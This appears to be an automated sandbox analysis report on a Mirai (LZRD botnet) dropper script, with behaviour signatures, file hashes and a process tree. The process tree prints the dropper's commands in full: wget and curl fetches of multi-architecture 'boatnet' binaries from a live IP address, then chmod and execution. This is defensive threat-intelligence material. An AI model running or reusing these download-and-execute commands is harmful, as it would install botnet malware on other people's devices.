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Analysis

  • max time kernel
    149s
  • max time network
    142s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    29/01/2025, 04:07

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    2804cbc613cf37545bbd4db9c2c1f8d4

  • SHA1

    ee8c86685fb7f2686a1a01237bbb29732fc08b4e

  • SHA256

    e86c5559de4555ca3b0edb272766eaaf6fc84ced06174832787c0bc3cc386b05

  • SHA512

    0751745e1a2919666399957cbd7700d1308fe7e2926d327ed68eb83ce3b467435e9d4142e05bb9ed446b8b14b2bb0ad7df8385f32262d6ebf44315a22a169730

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 4 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:647
    • /usr/bin/wget
      wget http://45.95.169.129/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:649
    • /usr/bin/curl
      curl -O http://45.95.169.129/hiddenbin/boatnet.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:663
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:672
      • /bin/chmod
        chmod +x boatnet.x86 ohshit.sh systemd-private-03455c2c38204d4281d2c621b8211e1b-systemd-timedated.service-J7noPA WTF
        2⤵
        • File and Directory Permissions Modification
        PID:674
      • /tmp/WTF
        ./WTF
        2⤵
          PID:676
        • /usr/bin/wget
          wget http://45.95.169.129/hiddenbin/boatnet.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:678
        • /usr/bin/curl
          curl -O http://45.95.169.129/hiddenbin/boatnet.mips
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:681
        • /bin/cat
          cat boatnet.mips
          2⤵
          • System Network Configuration Discovery
          PID:682
        • /bin/chmod
          chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-03455c2c38204d4281d2c621b8211e1b-systemd-timedated.service-J7noPA WTF
          2⤵
          • File and Directory Permissions Modification
          PID:683
        • /tmp/WTF
          ./WTF
          2⤵
            PID:684
          • /usr/bin/wget
            wget http://45.95.169.129/hiddenbin/boatnet.arc
            2⤵
            • Writes file to tmp directory
            PID:686
          • /usr/bin/curl
            curl -O http://45.95.169.129/hiddenbin/boatnet.arc
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:688
          • /bin/cat
            cat boatnet.arc
            2⤵
              PID:696
            • /bin/chmod
              chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-03455c2c38204d4281d2c621b8211e1b-systemd-timedated.service-J7noPA WTF
              2⤵
              • File and Directory Permissions Modification
              PID:698
            • /tmp/WTF
              ./WTF
              2⤵
                PID:699
              • /usr/bin/wget
                wget http://45.95.169.129/hiddenbin/boatnet.i468
                2⤵
                  PID:703
                • /usr/bin/curl
                  curl -O http://45.95.169.129/hiddenbin/boatnet.i468
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:707
                • /bin/cat
                  cat boatnet.i468
                  2⤵
                    PID:713
                  • /bin/chmod
                    chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh systemd-private-03455c2c38204d4281d2c621b8211e1b-systemd-timedated.service-J7noPA WTF
                    2⤵
                    • File and Directory Permissions Modification
                    PID:714
                  • /tmp/WTF
                    ./WTF
                    2⤵
                      PID:715
                    • /usr/bin/wget
                      wget http://45.95.169.129/hiddenbin/boatnet.i686
                      2⤵
                        PID:717
                      • /usr/bin/curl
                        curl -O http://45.95.169.129/hiddenbin/boatnet.i686
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:722
                      • /bin/cat
                        cat boatnet.i686
                        2⤵
                          PID:727
                        • /bin/chmod
                          chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh systemd-private-03455c2c38204d4281d2c621b8211e1b-systemd-timedated.service-J7noPA WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:729
                        • /tmp/WTF
                          ./WTF
                          2⤵
                            PID:730
                          • /usr/bin/wget
                            wget http://45.95.169.129/hiddenbin/boatnet.x86_64
                            2⤵
                              PID:732
                            • /usr/bin/curl
                              curl -O http://45.95.169.129/hiddenbin/boatnet.x86_64
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:741
                            • /bin/cat
                              cat boatnet.x86_64
                              2⤵
                                PID:745
                              • /bin/chmod
                                chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-03455c2c38204d4281d2c621b8211e1b-systemd-timedated.service-J7noPA WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:746
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                  PID:748
                                • /usr/bin/wget
                                  wget http://45.95.169.129/hiddenbin/boatnet.mpsl
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:749
                                • /usr/bin/curl
                                  curl -O http://45.95.169.129/hiddenbin/boatnet.mpsl
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:754
                                • /bin/cat
                                  cat boatnet.mpsl
                                  2⤵
                                    PID:755
                                  • /bin/chmod
                                    chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-03455c2c38204d4281d2c621b8211e1b-systemd-timedated.service-J7noPA WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:756
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                      PID:757
                                    • /usr/bin/wget
                                      wget http://45.95.169.129/hiddenbin/boatnet.arm
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:760
                                    • /usr/bin/curl
                                      curl -O http://45.95.169.129/hiddenbin/boatnet.arm
                                      2⤵
                                      • Checks CPU configuration
                                      • Writes file to tmp directory
                                      PID:762
                                    • /bin/cat
                                      cat boatnet.arm
                                      2⤵
                                        PID:767
                                      • /bin/chmod
                                        chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-03455c2c38204d4281d2c621b8211e1b-systemd-timedated.service-J7noPA WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:769
                                      • /tmp/WTF
                                        ./WTF
                                        2⤵
                                        • Modifies Watchdog functionality
                                        • Writes file to system bin folder
                                        • Reads runtime system information
                                        PID:770
                                      • /usr/bin/wget
                                        wget http://45.95.169.129/hiddenbin/boatnet.arm5
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:775
                                      • /usr/bin/curl
                                        curl -O http://45.95.169.129/hiddenbin/boatnet.arm5
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:780
                                      • /bin/cat
                                        cat boatnet.arm5
                                        2⤵
                                          PID:786
                                        • /bin/chmod
                                          chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-03455c2c38204d4281d2c621b8211e1b-systemd-timedated.service-J7noPA WTF
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:788
                                        • /tmp/WTF
                                          ./WTF
                                          2⤵
                                            PID:789
                                          • /usr/bin/wget
                                            wget http://45.95.169.129/hiddenbin/boatnet.arm6
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:790
                                          • /usr/bin/curl
                                            curl -O http://45.95.169.129/hiddenbin/boatnet.arm6
                                            2⤵
                                            • Checks CPU configuration
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:795
                                          • /bin/cat
                                            cat boatnet.arm6
                                            2⤵
                                              PID:802
                                            • /bin/chmod
                                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-03455c2c38204d4281d2c621b8211e1b-systemd-timedated.service-J7noPA WTF
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:803
                                            • /tmp/WTF
                                              ./WTF
                                              2⤵
                                                PID:805
                                              • /usr/bin/wget
                                                wget http://45.95.169.129/hiddenbin/boatnet.arm7
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:807
                                              • /usr/bin/curl
                                                curl -O http://45.95.169.129/hiddenbin/boatnet.arm7
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:810
                                              • /bin/cat
                                                cat boatnet.arm7
                                                2⤵
                                                  PID:811
                                                • /bin/chmod
                                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-03455c2c38204d4281d2c621b8211e1b-systemd-timedated.service-J7noPA WTF
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:812
                                                • /tmp/WTF
                                                  ./WTF
                                                  2⤵
                                                  • Modifies Watchdog functionality
                                                  • Writes file to system bin folder
                                                  • Reads runtime system information
                                                  PID:813
                                                • /usr/bin/wget
                                                  wget http://45.95.169.129/hiddenbin/boatnet.ppc
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:817
                                                • /usr/bin/curl
                                                  curl -O http://45.95.169.129/hiddenbin/boatnet.ppc
                                                  2⤵
                                                  • Checks CPU configuration
                                                  • Reads runtime system information
                                                  • Writes file to tmp directory
                                                  PID:818
                                                • /bin/cat
                                                  cat boatnet.ppc
                                                  2⤵
                                                    PID:819
                                                  • /bin/chmod
                                                    chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-03455c2c38204d4281d2c621b8211e1b-systemd-timedated.service-J7noPA WTF
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:820
                                                  • /tmp/WTF
                                                    ./WTF
                                                    2⤵
                                                      PID:821
                                                    • /usr/bin/wget
                                                      wget http://45.95.169.129/hiddenbin/boatnet.spc
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:823
                                                    • /usr/bin/curl
                                                      curl -O http://45.95.169.129/hiddenbin/boatnet.spc
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:824
                                                    • /bin/cat
                                                      cat boatnet.spc
                                                      2⤵
                                                        PID:825
                                                      • /bin/chmod
                                                        chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-03455c2c38204d4281d2c621b8211e1b-systemd-timedated.service-J7noPA WTF
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:826
                                                      • /tmp/WTF
                                                        ./WTF
                                                        2⤵
                                                          PID:827
                                                        • /usr/bin/wget
                                                          wget http://45.95.169.129/hiddenbin/boatnet.m68k
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:829
                                                        • /usr/bin/curl
                                                          curl -O http://45.95.169.129/hiddenbin/boatnet.m68k
                                                          2⤵
                                                          • Checks CPU configuration
                                                          • Reads runtime system information
                                                          • Writes file to tmp directory
                                                          PID:830
                                                        • /bin/cat
                                                          cat boatnet.m68k
                                                          2⤵
                                                            PID:831
                                                          • /bin/chmod
                                                            chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-03455c2c38204d4281d2c621b8211e1b-systemd-timedated.service-J7noPA WTF
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:832
                                                          • /tmp/WTF
                                                            ./WTF
                                                            2⤵
                                                              PID:833
                                                            • /usr/bin/wget
                                                              wget http://45.95.169.129/hiddenbin/boatnet.sh4
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:835
                                                            • /usr/bin/curl
                                                              curl -O http://45.95.169.129/hiddenbin/boatnet.sh4
                                                              2⤵
                                                              • Checks CPU configuration
                                                              • Reads runtime system information
                                                              • Writes file to tmp directory
                                                              PID:836
                                                            • /bin/cat
                                                              cat boatnet.sh4
                                                              2⤵
                                                                PID:837
                                                              • /bin/chmod
                                                                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-03455c2c38204d4281d2c621b8211e1b-systemd-timedated.service-J7noPA WTF
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:838
                                                              • /tmp/WTF
                                                                ./WTF
                                                                2⤵
                                                                  PID:839

                                                              Network

                                                              MITRE ATT&CK Enterprise v15

                                                              Replay Monitor

                                                              Loading Replay Monitor...

                                                              Downloads

                                                              • /tmp/WTF

                                                                Filesize

                                                                23KB

                                                                MD5

                                                                34a14580ccf090cc765f6de7ca0ae05a

                                                                SHA1

                                                                5ac27b634e71242cb87f6be2befe81395ee7c4e3

                                                                SHA256

                                                                45d5bf1f35db78f9674a412ba6b248755fecd3ef3f6ed6883becced625c16cd8

                                                                SHA512

                                                                365fd885d8e3ffe382a7d81ae65b84e99502d420e91e2e246b7ca0e974717affb3f591ee4edfebca019b5a817693bf5a233bf73907b1529378c6b5762bca9811

                                                              • /tmp/WTF

                                                                Filesize

                                                                105KB

                                                                MD5

                                                                d33b8dfabff0da44b72fb1b9af8f3a8f

                                                                SHA1

                                                                ad8cb3c5735cab7609fbab190fab5479e0793f59

                                                                SHA256

                                                                1919538313971a469bc58ce967c0fd56a480d44fae6027da64426778608401c5

                                                                SHA512

                                                                1d102949c3263e2ca0060b25be461ec64a49a8097f9f2cb83304c2ddb6ff1d749150a2cbaff892677c9dcb35e933048bb1bfc6dfbec67256999118c146cdb982

                                                              • /tmp/WTF

                                                                Filesize

                                                                220B

                                                                MD5

                                                                f1c24d9fa40a047ae22d2d3ae7dfeac9

                                                                SHA1

                                                                750274b02d5f5b00026a4f55b020f4285c693533

                                                                SHA256

                                                                219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                                                SHA512

                                                                36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                                              • /tmp/WTF

                                                                Filesize

                                                                220B

                                                                MD5

                                                                a8f502a6fb3b7b940e922c951d9e493a

                                                                SHA1

                                                                fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                                                SHA256

                                                                748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                                                SHA512

                                                                e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                                                              • /tmp/WTF

                                                                Filesize

                                                                57KB

                                                                MD5

                                                                17ec2d5d78b23651344dfcf1ced43559

                                                                SHA1

                                                                b33e0727e9f0c9552d41ac8ca4dd5307d41aaa85

                                                                SHA256

                                                                a4d11bb36c6c1f93083393ede8034df6c497cfb09d34add23b8fcf9e0f8c1aa1

                                                                SHA512

                                                                83311c0c1ae9bdba84d31e815454f238978154f60f4c807bb80aa449902cdb36eb4e696fb98bb0861dd294f0adad0a75234b00baddfe53de2d8ab0198340fd9c

                                                              • /tmp/boatnet.x86

                                                                Filesize

                                                                20KB

                                                                MD5

                                                                8a7d61d2ef9b9f35399eb694251c7d4a

                                                                SHA1

                                                                455d77460b3b29a5fcef077360f2d4cc1d08af9a

                                                                SHA256

                                                                0768cb7a311c893d5e10d749b18f2092436c59b581a0b86f19db23aa240c6a13

                                                                SHA512

                                                                253d7a69c52d35d92952a31b1fb93c6d8890e32b7490511fb8aa5dec5c4bf7804584ae3d6c797ff54ab7b60d34661d0c5002cbf4ac8a150d2a69b7f475b8ab50